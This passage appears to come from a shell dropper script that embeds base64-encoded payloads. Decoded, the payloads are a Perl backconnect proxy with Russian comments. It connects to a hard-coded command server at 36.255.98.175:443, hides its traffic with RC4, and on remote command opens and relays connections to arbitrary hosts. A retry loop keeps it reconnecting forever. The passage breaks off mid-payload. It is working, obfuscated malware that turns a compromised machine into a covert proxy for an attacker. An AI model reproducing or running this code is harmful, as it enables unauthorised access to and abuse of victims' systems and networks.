LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_17() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzUnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
